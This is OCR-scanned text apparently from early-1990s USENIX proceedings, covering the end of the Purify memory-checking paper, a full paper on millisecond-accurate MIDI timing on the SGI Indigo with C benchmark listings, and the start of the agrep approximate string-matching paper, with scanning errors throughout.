additionally free. If during the process of fixing the memory leaks the developer incorrectly frees a chunk
prematurely, Purify's error detection will detect the eventual freed-memory access as soon as it occurs. Note that
category three (3) above is all of the "live" allocated heap chunks, and can be used as profiling data to help
understand where the heap space in a program is being used.

7. Previous Work

The difficulties of managing memory in C are well-known, and several attempts at addressing these issues have been
made. Nevertheless, few C and C++ tools have succeeded in providing comprehensive solutions and none to our
knowledge has addressed both memory leaks and memory access errors.

7.1 Malloc Debug

Malloc-debug packages are the most prevalent tool for finding memory access errors. These packages implement the
malloc interface, but also provide several levels of additional error checking and memory marking. They can be
useful for detecting a write past the end of a heap array, and require only a relink to use. Unfortunately malloc-debug
packages do not detect errors at the point they occur; they only detect errors at the next malloc_verify call. Since
malloc_verify has to scan the entire heap, it is expensive to call frequently. Further, these packages do not detect
reading past the end of a heap array, accessing freed memory, or reading uninitialized memory.

Malloc debug packages do not provide any memory leak infonnation.

7.2 Mprof

Mprof [Zom88] provides infonnation on a C program's dynamic memory usage to help programmers reduce memory
leaks. Mprof does not provide any memory access checking.

Mprof is a two-phase tool requiring developers to exit the program under development before they can view the
infonnation Mprof provides. Developers can only obtain global statistics from Mprof; they cannot profile memory
usage and leaks betWeen arbitrary points of program 'execution, as they can with Purify. Mprof implements a
"memory leak table" that identifies memory allocated but never freed. Unfortunately, this strategy confounds true
memory leaks with memory allocated but not cleaned up dming the exit process. Consider a symbol table that maps
strings into symbols, in which the symbols are used as tokens and are never freed. When a program is about to exit,
any time spent freeing memory is wasted, since the exit call will reclaim the process's entire memory. Thus, most
Unix programs correctly call exit with large amounts of memory still in use. This memory does not constitute a leak,
yet Mprof lists it as such. These false positives reduce Mprof's diagnostic value.

7.3 Saber-C and Saber-C++

Saber [Kaufer88] detects many run-time memory access errors in interpreted C and C++ source code. However,
loading source code is time-consuming, and interpreting souree code takes more than an order-of-magnitude longer
than executing object code. 1YPically, programmers load only a few files in source fonn and load the rest in object
fonn. As a result, many memory access errors remain undetected. Even if developers source load their entire
application into Saber, it can not detect improper memory accesses from system libraries. For example, Saber does
not detect the common case of calling sprintf with too short a destination string, even when called from
interpreted code. Saber's interpreter also misses byte-level memory access errors, such as reading an uninitialized
byte, due to the implementation of its state storage, discussed in section 3.

Saber does not provide memory leak information or memory usage statistics.
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8. Measurements
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The overhead that Purify introduces into a program is dependent on the density of memory accesses in that program.
In the worst case, where the program does nothing but copy memory in a tight loop,[81Purify's run-time overhead is a
factor of5.5 over the optimized C code. This compares with a factor of 3.2 slowdown for the same program compiled
for debugging, and a factor of 300 slowdown for the same program running under a C interpreter.

Below we present data on Purify's overhead when used with two programs: the GNU compiler gee, and the XIIR4
demo program maze that animates the solving of a maze. The maze program was modified to remove its sleep
calls. gee is actually a small driver program, and eel is the program that does the bulk of the work. It is eel that
was tested, although for simplicity we will refer to it below as gee. The data was collected on a Sun SPARCstation
SLC running SUNOS 4.1.1, and all times are real times.

gee maze average multiple

Run time[9] (seconds)
optimized / Purified & optimized 26/81 117/178 2.3

a.out size[10] (kb) 815/1570 674/931 1.7

Max heap size[111 (kb) 1486/1775 540/608 1.2

Build time (seconds) 7/35 5/24 4.9
link / Purify & link

The run-time overhead is mostly in the checking functions that execute before every memory access. The increased
a.out size is due to the function call instructions inserted before every load and store. The heap size overhead is due to
the red-zones kept around every heap chunk. The default red-zone policy, used in the test cases; gives each chunk a
16 byte initial red-zone and a 28 byte trailing red-zone. The build time overhead is half due to the Purifying process,
and half due to the increased demands on the linker for resolving all of the references to the checking functions.

9. Summary

Purify provides nearly-comprehensive memory access checking and memory leak detection. It fits cleanly into the
Unix file-processing paradigm and only requires adding a single word to the link-line of a makefile to use on an
existing application. Importantly, Purify yields executables that are fast enough to use during the entire development
and test process. For example, this paper was written using Frame while running under a Purified R4 X server,
Purified window manager, and Purified xterms, all on Sun's bottom-of-the-line SPARCstation equipped with 12 Mb
of memory. Purify's relatively low overhead, ease of setup, and thoroughness of error detection permits more robust
software to be developed faster, yet it entails no overhead in code delivered to customers.

Purify can help bridge the gap between a program plagued by intermittent errors and that same program working
robustly and continuously over long periods of time. Of course, Purify is not a panacea, and it does not result in bug­
free code. Nevertheless, used in conjunction with good test suites Purify can result in significantly more correct and

8. Specifically, the program allocates one megabyte, initializes it to zero, and then perfonns 50 iterations of shifting the megabyte down one byte,
by copying byte by byte.

9. With gee this is the time for eel to compile and optimize the XllR4 client xterm's file charproc.c. 'This file was picked at random to be the
test case. With maze the times shown are the times to perfonn 20 iterations of solving the maze with the sleep calls between iterations removed.

10. Measured with the size command.

11. Measured with sbrk (0) - &end.
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reliable programs, and increase the developer's knowledge and confidence in the code. Such progress creates
programs that are less susceptible to catastrophic failure from small changes-making maintenance less risky, and
testing less costly. Results from users of Purify working on large commercial programs have been very encouraging.

One of the great pleasures of C & C++ programming is being able to get the most out of the underlying hardware.
Walking the tightrope of pointer arithmetic, for example, is very exciting but the downside is that most falls are fatal.
Purify is the safety net that C and C++ always needed-it's there during development, but does not impair the
ultimate performance.
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Realtime Workstation Performance for MIDI

Robin Schaufler

Silicon Graphics Computer Systems

ABSTRACT

MIDI studio applications require 1 millisecond accuracy in timing transmission and receipt of MIDI
messages. Past MIDI implementations on tJNIX1'M have either used the Roland MPU-401 co­
processor [Hawley86], [Langston86] to do accurate timing, or have not had timing tests published
for them. Timing MIDI 110 on the host processor allows for more flexible scheduling policies
[Kuiv-And86] than the MPU-401, but many people expressed skepticism that it could be done
with sufficient accuracy and efficiency because of UND(fM virtual memory and pre-emptive
scheduling. This paper describes studies we did on providing millisecond accuracy on the host
processor of a Silicon Graphics Iris Indigo running IRIXTM, the Silicon Graphics version of UND(I'M.

Our measurements show that millisecond accuracy is feasible on IRIXTM without modifying the
kernel. The paper goes on to describe how the studies relate to other time based media. With a
small set of real time features [Bart-Wag91], UNIXTM can really sing.

1. IntrOduction

Production of music, video and film often relies on MIDI to create the music. MIDI, which stands for Musical
Instrument Digital Interface [IMA88-protocol], is a necessary ingredient to any multimedia system. As part of a
multimedia development effort, we investigated what commercial MIDI applications need in order to operate
successfully in a tJNIXTM environment This paper is about the requirements that MIDI application developers gave
us, the performance studies we did to see how to meet their needs, and the conclusions we came to. See [NeXT91]
for mention of other commercial application of MIDI on UNJXTM. The author hopes that future standards work on
MIDI for UND(I'M, if any, will consider the requirements that we derived from talking to commercial application
developers, and that future work on realtime features for UNJXTM will consider the features that make realtime MIDI
response feasible on IRIXTM.

The performance studies described in this paper were done on the Iris Indigo, which has support for audio, video, CD
and OAT, and MIDI, as well as graphics and images. Indigo audio is 16-bit OAT-quality, with both digital and analog
in and out, using a Motorola 56001 on the mother board to maintain the sample rate. An optional video board does
NTSC in and out, allowing realtime display and recording of video. Such high quality audio and video, together with
the Indigo's 8 bit color graphics and a 33 Mhz R3000, make it ideal for professional music and video production.
MIDI must also function with professional quality for Indigo to succeed in that role.

The Indigo is connected to MIDI by plugging any Macintosh® compatible MIDI interface into one of the Indigo serial

TN IRIX is a trademark of Silicon Graphics Computer Systems.

TN UNIX is a trademark of AT&T.
Gll Macintosh is a registered trademark of Apple Computer.
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ports. and setting the z85130 DUART on the mother board to use RS-422 and an external clock by means of ioctl(2)
calls.

2. Overview ofl\m)!

MIDI is a hardware and software specification for exchange of musical infonnation. Data is transmitted
asynchronously at 31.25 Kbaud (+/-1%). or 320 microseconds per byte over shielded twisted pair cables. A MIDI
connection is made between a socket labeled MIDI In and one labeled MIDI Out

Musical data is sent in multi-byte messages. Most messages are 1-3 bytes. Only System Exclusive messages may
be longer, but they are not commonly sent during performance. MIDI messages contain information such as "a key
went down or up at pitch P and velocity V". or tithe pitch bend wheel moved to position Btl. Some MIDI messages
are broadcast to all equipment on a MIDI network; others specify a 4 bit channel. MIDI messages travel in bursts, in
contrast to the regular intervals of audio samples or video frames. They do not carry timestamps; time must be
tracked at the sending and receiving ends.

Key MIDI applications that stress realtime perfonnance are sequencers and MIDI development environments. A
sequencer records and plays MIDI data. When recording. the sequencer also echos its input. potentially making
small changes to it. such as changing the channel. MIDI development environments, such as Keynote [Thompson89l,
Max [Opcode90]. or Animal [Lindeman91], can be programmed to make algorithmic changes to MIDI input, and
send it back out again.

3. Requirements of l\m)! Applications

In order to understand how these applications stress the system. and the precise requirements for their performance,
we talked to third party developers. The system we needed to rival in order to attract third party applications is the
Macintosh® IIcx. The stress tests that we arrived at from these conversations were peak rate sequence playback
and intelligent thruing. Peak rate sequence playback refers to playing a stored sequence of time stamped MIDI
events. where the time stamps indicate a peak rate of output of an event per millisecond. Intelligent thruing refers to
reading an input stream, optionally doing some processing such as channel conversion, and writing it back out with
acceptable latency.

Based on experience with the Macintosh®, the third party developers expected sequence playback to occur with 1
millisecond accuracy. and to do intelligent thruing with a maximum of 1 millisecond latency. Millisecond
granularity is mentioned in several sources. [IMA88-filesl. [Apple89l. Since the Indigo is a 30 MIPS UNIXTM
workstation. developers also expected to have plenty of cycles left over for other processes. They wanted context
switching to be comparable to a Macintosh®, which they claimed to require 50-100 instructions to reach an
interrupt level application procedure. We have not found evidence to either refute or support this claim.

With these requirements in mind, we decided to see how close the Indigo running IRlXTM could come to meeting
them, and where the problem areas are.

4. Performance Studies

In order to see whether JRIXTM (the Silicon Graphics version of UNIXl'M) could satisfy the MIDI performance
requirements, we constructed benchmarks to model critical functions. To examine context switching overhead, and
effect of context switching on the benchmarks. we also constructed·a CPU displacement process, that is, a CPU hog.
(Code for benchmarks will be included in the final paper.) For comparison, we also constructed analogous
benchmarks on the Macintosh®. but we have not yet figured out how to measure Macintosh® context switching.

The tests were performed on a lightly loaded system. Several file systems were NFS mounted. and the window
system. several terminal emulator windows. yellow pages, and other normal daemons were running. There was not
much user interface activity, and no other applications were running.

Networking was being serviced by an IRlXTM daemon named rtnetd(1M) (see [Bart-Wag91], [50187]). which allows
processing of incoming network packets to be pre-empted. However, running an in-house system analysis tool
indicated that very little network activity was happening. so it·is unclear whether the ability to pre-empt network
packet processing made a difference to these tests.
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The MIDI interface used in these tests is an Altee, which has a single 1 Mhz connection to the host serial port, one
MIDI In socket, and three MIDI Out sockets, of which we only used one. Messages sent from the computer flow out
the MIDI Out sockets; Messages sent to the computer flow into the MIDI In socket.

4.1 IRIX™ Realtime Features
To understand the perfonnance studies, it is necessary to understand the JRIXTM realtime features we used to
accomplish them.

In addition to the traditional UNlXTM scheduling priority system, lRIX™ has non-degrading priorities [Bart-Wag91],
[50187]. A process running with a non-degrading priority keeps running at the same priority as long as it runs. It
does not give up the CPU until either a higher priority process is scheduled or it blocks. Coupled with a very high
priority, on a multi-processor system, such a process can pre-empt the kernel on all but one processor. However,
since Indigo is a uni-processor, the kernel gets priority. Therefore, non-degrading priority does not provide an
Indigo application with scheduling guarantees. A question for the experiments was under what circumstances can
an Indigo application get realtime scheduling service.

lRIX™ also has a fast clock and itimer (interval timer). The system normally runs at the standard UNlXTM 100 Hz
rate, but the fast clock can be requested at runtime, at the cost of some extra overhead. On Indigo, fast clock rates
are 5000 I R Hz, where R is an integer in the range 2 to 10 inclusive; the default is 1000 Hz, or a 1 millisecond
interval. The fast clock boosts the resolution of the gettimeofday(2) system call. The fast itimer boosts the
resolution of getitimer(2), and requires that the fast clock be set. In conjunction with POSIX reliable signals
[POSIX90], an application can wake up reliably at regular intervals.

We also made a small change to the DUART streams driver, motivated by MIDL Nonnally the driver holds input for
up to half a second, buffering up input as it comes in, in order to minimize dispatches of the receiving process. We
added an ioctl to set the length of time it holds input For MIDI, we set the hold time to zero to minimize latency in
processing incoming MIDI messages.

4.2 The Benchmarks

Peak rate sequence playback was tested by a program called tick, which turns on a note, and then issues one two­
byte pitch bend message per millisecond. The messages would gradually bend the pitch to its highest value, down
to its lowest value, and back to its normal value, and then repeat indefinitely, sounding like a siren. We ran tick at
high non-degrading priority, with the fast clock and itimer running at 1000 Hz. Tick sets a realtime itimer and then
loops forever. The loop calls pause(2); when interrupted, it then writes the next two bytes the sequence and loops
back to the pause.

Below is the C source for tick. Checks for error returns of system calls and #include directives are omitted for
brevity.
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/* tick test */
unsigned char note[3] {Ox90, 64, Ox40}i
unsigned char bend[3] {OxEO, 0, 64};
idefine BUFSIZE (256*2*5)
unsigned char buf[BUFSIZE];
int int_count = 0;

void handle_sigint() {int_count++;}
void handle_alrm(int sig) { }

main () (
struct itimerval itv;
struct sigaction act;
int midifd;
int bufix = 0;

fillbufO;
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/* circular buffer */
/* count of interrupt signals */

/* Interrupt signal handler */
/* Alarm signal handler */

/* MIDI file descriptor */
/* index-into buf */

/* fill buf with pitch bend data */

/* write initial note-on */
/* write initial pitch bend */

act.sa_handler = handle_sigint;
act.sa_mask = 0; act.sa_flags 0;
sigaction(SIGINT, &act, 0); /* setup interrupt handler */
act.sa_handler = handle_alr.m;
sigaction(SIGALRM, &act, 0); /* setup alarm handler */

/* open MIDI file descriptor, call setup, which performs ioctls for
RS-422, external clock, no delay of input, and popping the line
discipline streams module, and start playing */

midifd = open (" /dev/ttyd2", O_RDWR);
setup (midifd) ;
write (midifd, note, 3);
write(midifd, bend, 3);

itv.it_value.tv_sec = itv.it_interval.tv_sec = 0;
itv.it_value.tv_usec = itv.it_interval.tv usec = 1000;
setitimer(ITIMER_REAL, &itv, 0); /* start interval timer */

/* Write pitch bends until interrupt.
This loop is all we really care about! */

while (!int_count) (
pause();
bufix = (bufix + 2) % BUFSIZE; /* cycle thru buf */
write (midifd, buf+bufix, 2);
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/* Clean up */
timerclear(&itv.it_interval);
timerclear(&itv.it_value);
setitimer(ITIMER_REAL, &itv, 0);
bend[l] = 0; bend[2] = 64; note [2]
write (midifd, bend, 3);
write (midifd, note, 3);
exit(O);

/* turn off itimer */
= 0;

/* write neutral pos pitch bend */
/* note on, velocity 0 */
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To measure the accuracy of the playback, we opened the cover on a MIDI interface, and attached an oscilloscope
probe to either pin 4 or 5 of MIDI Out socket Triggering on a voltage change, we got a sufficiently stable pattern to
show that the sequence was playing a message per millisecond.
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Oscilloscope pattern for the tick test

Thruing latency was tested with a program called lag, which simply loops, reading from the serial port and writing
its input back out again. The size of the buffer passed to read is conttolled by a command line argument Lag does
not need the fast itimer, but we ran it with the fast itimer anyway since thruing is often done in conjunction with
sequence playback. It does need non-degrading high priority in order to be scheduled as soon as input is ready.

Below is the C source for lag. Checks for error returns of system calls and Hinclude directives are omitted for
brevity.
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/* setup interrupt handler */
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/* lag test */
unsigned char buf[1000];
int int_count = 0;

void handle_sigint() {int_count++;} /* Interrupt signal handler */

main (argc, argv)
int argc;
char **argv;
{

struct sigaction act;
int n;
int ntoread = 1;
int midifd;

if (argc> 1) ntoread = atoi(argv[1]);

act.sa_handler = handle_sigint;
act.sa_mask = 0; act.sa_flags
sigaction(SIGINT, &act, 0);

/* open MIDI file descriptor, call setup, which performs ioctls
for RS-422, external clock, no delay of input, and popping
the line discipline streams module */

midifd = open("/dev/ttyd2", O_RDWR);
setup (midifd) ;

/* Write whatever we read until interrupt.
This loop is all we really care about! */

while(!int_count) {
if «n = read(midifd, buf, ntoread» > 0)

write(midifd, buf, n);
}

exit(O);

Schaufler

To measure the latency induced by running lag, we attached oscilloscope probes to either pin 4 or 5 of both the MIDI
Out and.MIDI In sockets. We then constructed a sequence on the Macintosh®, using a commercial sequencer, to
play the same series of pitch bends as the tick test, also at a rate of one per millisecond. We measured the output of
the Macintosh® the same way as we measured the tick test, and found a bug in the sequencer; it would only send a
pitch bend every two milliseconds. However, that rate was sufficient to get a stable pattern on the oscilloscope, and
therefore sufficient to measure latency.

With a read buffer size of 30, the lag test showed approximately a 200 microsecond latency. Furthermore, stopping
playback on the Macintosh® caused the sound to stop instantly. With a 1 byte read buffer, we saw a greater
latency, and the sound continued for several seconds after stopping playback while the application drained the
kernel's queue. This makes sense because if three bytes come in every millisecond, the kernel is not going to have
time to dispatch the lag process three times in one millisecond. A buffer size of 4 ought to be sufficient, but has not
been tested.
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We then used tick to measure latency on the Macintosh®, using the same commercial sequencer to do thruing, and
the same wiring of the oscilloscope. The sequencer exhibited 200 - 300 microsecond latency.
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Oscilloscope pattern for the lag test

4.3 Context Switching

Now that we knew that we could satisfy the basic requirements for MIDI realtime response, we needed to see what
the cost was for doing so. We also needed to see whether other activity on the system would penalize the MIDI
benchmarks.

To study context switching, a CPU displacement process named hog was constructed. Hog takes a command line
argument telling it how long to run. It sets an itimer and then loops, incrementing a counter, and testing for whether
it received a signal. When it catches the SIGALRM, it prints out the value of the counter and exits. Running hog for a
minute produces final values that are consistent to within 1%. Running two hog processes at nonnal priority, both
produce final values of almost exactly half that of a hog process running by itself.

Below is the C source for hog. Checks for error returns of system calls and #include directives are omitted for
brevity.
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/* hog test */
int alrm_count;

void handle_alrm(int sig) {alrm_count++;} /* Alarm signal handler */

main ()
{

struct sigaction act;
struct itimerval itv;
unsigned long count = 0;

Schaufler

act.sa_handler = handle_alrm;
act.sa_mask = 0; act.sa_flags
sigaction(SIGALRM, &act, 0);

0;
/* setup alarm handler */

alrm_count = -1;
bzero(&itv, sizeof(itv»;
itv.it_value.tv_usec = 10000;
itv.it_interval.tv_sec = 60;
setitimer(ITlMER_REAL, &itv, 0);

/* 10 milliseconds */

/* start interval timer */

pause(); /* SIGALRM will wake us up at 10 millisecond boundary */

while (! alrm_count)
count++;

}

printf("count = %dO, count);

Running hog simultaneously with either of the benchmarks did not disturb the benchmark timings. Using lag with a
read buffer size of 30, and sending it a message every 2 milliseconds from the Macintosh®, hog's final count was
42% of hog running by itself. With tick, hog's final count was 45% of hog running by itself. In other words, a MIDI
benchmark plus the system overhead ofvo, servicing the clock interrupt, and context switching used up about 55%
of the machine. Given how little the benchmarks actually do, most of that time must be in the system.

To see how much time was spent onvo, we conslIUcted a new version of tick which did no vo called itimer. It loops
forever, calling pauseO in the loop. A realtime itimer wakes it up every millisecond, after which it just loops back
to the pauseO. The SIGALRM handler does nothing at all. The time(l) command reports 0.0 seconds of user and
system time for a 60 second run of the itimer test.

Below is the C source for itimer. Checks for error returns of system calls and #include directives are omitted for
brevity.
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/* itimer test */
int int_count = 0;

Realtime Workstation •••

0;
/* setup interrupt handler */

void handle_sigint() {int_count++;} /* Interrupt signal handler */
void handle_alrm(int sig) { } /* Alarm signal handler */

main ()
{

struct itimerval itv;
struct sigaction act;

act.sa handler = handle_sigint;
act.sa_mask = 0; act.sa_flags
sigaction(SIGINT, &act, 0);
act.sa_handler = handle_alrm;
sigaction(SIGALRM, &act, 0); /* setup alarm handler */

itv.it_interval.tv_sec = 0;
itv.it_interval.tv_usec = 1000;
itv.it_value = itv.it_interval;
setitimer(ITIMER_REAL, &itv, 0); /* start interval timer */

/* Loop doing nothing. This loop is all we really care about! */
while (!int_count) (

pause();

/* Clean up */
timerclear(&itv.it_interval);
timerclear(&itv.it_value);
setitimer(ITIMER_REAL, &itv, 0);

exit(O);

With this no-op version of tick, hog's final count was 67% of hog running by itself.

In order to wake up a program every millisecond while running hog, the system does two process dispatches per
millisecond - one for each process. If hog was getting 67% of the cPu, then 330 microseconds of every millisecond
was spent servicing the clock interrupt and doing two process dispatches. 165 microseconds per process dispatch is
an order of magnitude higher than what the application developers claim for application handling of a hardware
interrupt on the Macintosh®, although it is still enough on the MIPS for other processes to get a lot done. That leaves
220 microseconds per millisecond for I/O overhead.

4.4 Graphics, Serial 110, and Virtual Memory

In order to get a complete picture of when realtime response is possible, we should test against other hogs besides
the CPU hog. A memory hog, a graphics hog, disk hog, serial or parallel I/O hog, a network hog, or a loaded system
might produce different results.

We have done some testing against graphics hogs, but it is harder to define peak capacity for graphics than for CPU.
We have not yet discovered a case where graphics seriously interferes with MIDI realtime response, but the tick test
visibly slows graphical animation. Moving some MIDI functions into the kernel should reduce the effect of MIDI oil
the animation by reducing overhead, giving the animation program more chances to run.

We have also begun testing against mouse and keyboard serial I/O, but it is difficult to cause either one to produce
input at peak capacity. So far we have no indication that the mouse and keyboard I/O interferes with realtime
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response, but we have discovered that they can cause virtual memory activity which does interfere. The
interference is small; on a 16 megabyte system, in about three seconds we were able to make the tick test fail to be
scheduled 0.6% of the time. Virtual memory interference was almost undetectable on a 32 megabyte system.
However, it is worth fixing, and we are investigating it

5. Evaluation

On a lightly loaded system, MIPS benchmarks could meet their realtime requirements even in the presence of a CPU

hog, still leaving the CPU hog enough CPU time to do significant computing. From this, we conclude that doing MIDI
in user space is adequate for professional quality MIDI applications, although it still does not meet the expectations
application developers from the personal computing world in terms of system overhead. We have explored options
for reducing system overhead, which we describe below.

Our conclusion is still somewhat tentative because we only tested against competition for cpu, graphics, serial I/O,
and memory resources. Networking, disk, parallel, or SCSI J/O, or a loaded system might produce different results.
We also need to better define peak graphics capacity. We have identified some circumstances under which realtime
performance meets our requirements, and one place where it breaks down, but have not covered all possible points
of break down.

The study descnDed so far only addresses the realtime needs of a single application doing MIDI. In the COlU'se of our
discussions with application developers, other types of requirements came up. These other types of requirements
are discussed below. Following that is a discussion of implications of this work for tJNIXTM and for other
applications.

5.1 Options for Reducing System Overhead

Three options for reducing system overhead have been considered. One is to move some functionality from user
space to the kernel; another is to move some functionality from the kernel to the 56001 coprocessor; a third is to
move functionality from both the kernel and user space to the 56001 coprocessor. Functionality moved into the
kernel would be in the form of a multiplexing streams driver [Streams87] because it would need to sit on top of the
DUART driver which is implemented using streams.

Three functions currently implemented in user space are candidates for moving into the kernel or the 56001. They
are fine grained timing of output, timestamping of input, and thruing with transfonnations typically done by
sequencers. Moving these functions out of user space would significantly reduce process dispatch activity for any
application whose realtime activities are covered by them. MIDI sequencers would be helped the most.

Moving these three functions out of user space would not help applications where thruing may involve arbitrary
processing along the way, without additional work. Applications not immediately helped are MIDI development
environments, such as Keynote, Max, or Animal. H the functions were placed on the 56001, we could only help
these applications by allowing them to download application specific code to the 56001. This is not feasible today;
the relationship between the 56001 and the IR]XTM kernel is intimate and fragile. H the functions were placed in the
kernel, more general thru processing could be helped by any of the following.

• Asynchronous Signal Traps, a means of caIling user code from kernel interrupt level. .

• Application specific streams modules which may uSe a shared memory buffer containing meta instructions to be
interpreted while thruing.

• Downloadable or dynamically linkable streams modules and drivers.

Serial JJO is currently done in the kernel, but could be done on the 56001. While not as big a piece of the pie as
process dispatch, it is a significant piece. Since J/O presently requires a read(2) or write(2) system call, it incurs
context switching, as well as the overhead of actually doing the J/O. If fine grain timing of output and timestamping
(with buffering) of input were done in the kernel, fewer read/write system calls would need to be done.

We have rejected moving any support for MIDI to the 56001 at this time because 56001 programming is hard, it
would take cycles away from audio processing, we cannot prove that it is justified, it would not be portable to the
rest of our product line, and the 56001 may be replaced with better technology in future products. A streams
version of the three major realtime functions is being prototyped for further study.
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5.2 Further Analysis
We would like to be able to predict the reduction in system overhead from moving the three major realtime
functions into the kernel. However, although we can qualitatively describe which overhead will be eliminated and
which will not, we cannot quantitatively describe it.

In particular, we know that this work will reduce process dispatching, system calls, and process signal handling as a
function of the amount of MIDI being sent and of the amount of buffering the application does. We also know that
system clock processing will remain the same, as will serial I/O. However, we do not know the relative proportions
of each of these activities because the system profiler operates at the same frequency as the fast clock. Without a
faster profiler, we cannot get accurate profiles.

5.3 Other Types of Requirements
Realtime response for I/O and thruing with minimal system overhead is not the only requirement for a commercial
MIDI system. Other types of requirements include

• Synchronization with other media such as audio, video, and animation, as well as within a single .medium.

• Multiple MIDI applications need to share the serial pon{s) devoted to MIDI.

• Applications need to communicate MIDI among themselves.

• Some fancy MIDI interface hardware such as the Mark of the Unicorn MIDI TimePiece and the Opcode System V
require special suppon.

Synchronization within a single medium becomes important when more than one track is active. For example,
when recording a new track in a MIDI sequence while playing existing tracks, the sequencer must know the
relationship in time between incoming and outgoing MIDI messages. Synchronization of MIDI with MIDI and of MIDI
with audio demand the lowest tolerance for error. Like all the other realtime requirements discussed so far, these
forms of synchronization must have millisecond accuracy.

Synchronization is related to realtime response, but not the same thing. Synchronization occurs at the beginning of
the tracks to be synchronized; realtime response is then required in order to maintain synchronization. A useful
analogy is to think of setting two clocks to exactly the same time, and then expecting them to keep to the same time
by continuing to tick accurately. If either or both clocks do not keep' accurate time, it may be necessary to
resynchronize them later. But our goal is to avoid resynchronization by getting them to tick accurately in the first
place.

Sharing one or more serial pons among MIDI applications is expected among users because UNIXTM is tnlly
multitasking and even more primitive systems such as the Macintosh® offer it. Using either MIDI Manager from
Apple or OMS from Opcode with multi-finder, a Macintosh® user can keep two or more MIDI applications open at
the same time. A user might want to keep a patch librarian open while playing music from a sequencer in order to
download new patches between sequences. Or a user might want a MIDI development environment to process and
thru MIDI as the user plays along with a sequence played by a separate sequencer in a live perfonnance. Finally, a
user may want to use a MIDI controller such as a fader box to control a graphical animation while another application
plays a musical sequence.

Implementing a multiplexing streams driver for MIDI using clone open allows multiple applications to share a serial
port without loss of performance, as long as the sum of all the MIDI activity does not try to exceed the peak rate of a
message per millisecond. Without the MIDI driver, we would need to implement a client-server model. A server
would dramatically increase the latency of thru processing as is found in MIDI development environments. In
contrast, a streams driver could be almost invisible in terms of perfonnance by implementing read and write
transparently.

Communication of MIDI between applications is expected by users of the Apple MIDI Manager, which supports
virtual MIDI cables between applications. The expectation is intensified by UND(TM multitasking and sophisticated
ipc.

Support for some of the fancier MIDI interface hardware on the market should be in the form of high level
abstractions in the application programmer interface for MIDI. An interface may appear to be multiple devices on
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the same serial port. The application programmer should not have to understand all the different kinds of interfaces
a user might plug into the host.

5.4 Implications for UNIXTM and Other Applications

Millisecond realtime response in user space was achieved for the two benchmarks described in this paper due to a
very small set of modifications to UNJXTM. The millisecond number is due to the rate of the clock crystal in the
Indigo, but the ability to take advantage of it is due to the following JRI:XTM realtime features.

• The fast clock and fast interval timer are necessary to improve upon the standard tJNIXTM ten millisecond clock.

• Non-degrading priority causes the user process to be run when it needs to be run in all the cases we have
examined, even though no guarantees are made for a uni-processor.

• :IRD(I'M reliable signals, while POSIX compliant, are not standard UNIXTM at this time.

• Using the IRIXTM rtnetd(lM) daemon to pre-emptibly process incoming network packets should help during a
high network load, although that case was not studied.

Another nuxTM feature which would help with realtime response in a real application, as opposed to a benchmark, is
lightweight processes. In IR:£XTM, a software developer would put service of high rate realtime events into its own
lightweight process. That lightweight process could be designed to have little or no dependency on shared resources
being available, synchronous communication with other processes, etc. User interface, disk I/O, computation, and
other heavier weight activities could run in a lower priority lightweight process, and at a slower rate. A similar
effect may be had in more conventional UNJXTM systems by putting realtime behavior in a separate heavyweight
process, and communicating between processes with a shared memory ring buffer. The advantages of lightweight
processes over the heavyweight processes with shared memory are shared address space and lower overhead in
context switching between them.

An additional benefit to our MIDI performance studies is their implications for other time based media.

For example, Indigo audio output is done by the application buffering samples, which the 56001 then reads by DMA
from shared memory. The application's job is to keep the buffer from becoming empty. Given the sample rate, and
given a rate at which the application wants to compute new samples, the optimal buffer size is easily computable.
The application can then use the itimer to reliably keep it computing samples at the correct rate. The studies
described in this paper indicate that a 1 millisecond size buffer is feasible to keep non-empty.

The study also indicates that the clock used for the Indigo interval timer is sufficiently stable that we can expect to
maintain synchronization between pairs of media after an initial synchronization.

6. Conclusion

JRIXTM on the Indigo is adequate to implement professional quality MIDI applications with no special system support.
We determined this by constructing a set of benchmarks and checking their behavior with an oscilloscope. By
analyzing performance before writing product software, we can apply what we have learned to designing efficient
software support. For example, our analysis indicates that putting some support into the kernel can relieve some
overhead associated with the required realtime behavior. Knowing what realtime response to expect, we can check
it as we develop the product software. Since the realtime response measured in these studies for MIPS can be
expected for other media, it also gives us expectations to measure support for other media against.

The set ofJRIXTM specific features used to produce these results is small, and relevant to other efforts to add realtime
behavior to UNlXTM. As the UNJX'I'M community is actively seeking to make UNIXTM more realtime, people involved in
such efforts can look at the IRIXTM features described in this paper as an example of a way to solve a demanding
realtime application.
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ABSTRACT

Searching for a pattern in a text file is a very common operation in many applications ranging from text editors
and databases to applications in molecular biology. In many instances the pattern does not appear in the text
exactly. Errors in the text or in the query can result from misspelling or from experimental errors (e.g., when the
text is a DNA sequence). The use of such approximate pattern matching has been limited until now to specific
applications. Most text editors and searching programs do not support searching with errors because of the com­
plexity involved in implementing it. In this paper we describe a new tool, called agrep, for approximate pattern
matching. Agrep is based on a new efficient and flexible algorithm for approximate string matching. Agrep is
also competitive with other tools for exact string matching; it include many options that make searching more
powerful and convenient.

1. Introduction

The most common string-searching problem is to find all occurrences of a string P =PIP2...Pm inside a large text
file T= t 1t2 ... tn' We assume that the string and the text are sequences of characters from a finite character set:E.
The characters may be English characters in a text file, DNA base pairs, lines of source code, angles between
edges in polygons, machines or machine parts in a production schedule, music notes and tempo in a musical score,
etc. The two most famous algorithms for this problem are the Knuth-Morris-Pratt algorithm [KMP77] and the
Boyer-Moore algorithm [BM77] (see also [Ba89] and [HS91]). There are many extensions to this problem; for
example, we may be looking for a set of patterns, a regular expression, a pattern with "wild cards," etc. String
searching in Unix is most often done with the grep family.

In some instances, however, the pattern and/or the text are not exact We may not remember the exact spel­
ling of a name we are searching, the name may be misspelled in the text, the text may correspond to a sequence of
numbers with a certain property and we do not have an exact pattern, the text may be a sequence of DNA
molecules and we are looking for approximate patterns, etc. The approximate string-matching problem is to find
all substrings in T that are close to P under some measure of closeness. We will concentrate here on the edit­
distance measure (also known as the Levenshtein measure). A string P is said to be of distance k to a string Q if
we can transform P to be equal to Q with a sequence of k insertions of single characters in (arbitrary places in) P,

1 Supported in part by an NSF Presidential Young Investigator Award (grant DCR-84S1397), with matching funds from AT&T, and by an NSF
grant CCR-90023S I.
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deletions of single characters in P, or substitutions of characters. Sometimes one wants to vary the cost of the dif­
ferent edit operations, say deletions cost 3, insertions 2, and substitutions 1.

Many different approximate string-matching algorithms have been suggested (too many to list here), but
none is widely used, mainly because of their complexity and/or lack of generality. We present here a new tool,
called agrep (for approximate grep), which has a very similar user interface to the grep family (although it is not
